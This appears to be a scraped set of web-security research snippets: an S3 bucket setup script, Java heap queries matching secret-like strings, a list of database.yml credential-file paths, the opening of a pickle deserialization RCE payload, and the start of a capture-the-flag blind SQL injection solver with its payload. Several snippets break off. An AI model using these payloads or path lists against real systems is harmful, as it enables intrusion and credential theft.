websecresearch

#!/bin/bash
touch index.html
touch error.html
aws s3api create-bucket --bucket $1 --region us-east-1
aws s3 website s3://$1/ --index-document index.html --error-document error.html
aws s3 cp index.html s3://$1 --acl public-read
aws s3 cp error.html s3://$1 --acl public-read

websecresearch

select {o: s,val:s.value.toString()} from java.lang.String s 
where 
/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{5,15}$/.test(s.value.toString())

select {o: s,val:s.value.toString()} from java.lang.String s 
where 
/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{19,31}$/.test(s.value.toString())

select {o: s,val:s.value.toString()} from java.lang.String s 
where 

websecresearch

^[^.]+. - This Removes everything before the . and including the . so handy for a list of sub doamins.

websecresearch

database.yml
database.yml_original
database.yml~
database.yml.pgsql
database.yml.sqlite3
config/database.yml
config/database.yml_original
config/database.yml~
config/database.yml.pgsql
config/database.yml.sqlite3

websecresearch

#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#

import cPickle
import sys
import base64

websecresearch

const fetch = require('node-fetch');

var flag = 'nn9ed{'
var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}'
var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/\(/g, '\\(').replace(/\)/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}');
var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect
const base_url = 'http://x-oracle-v2.nn9ed.ka0labs.org/'

// Generates definitions for fonts
function generateFonts() {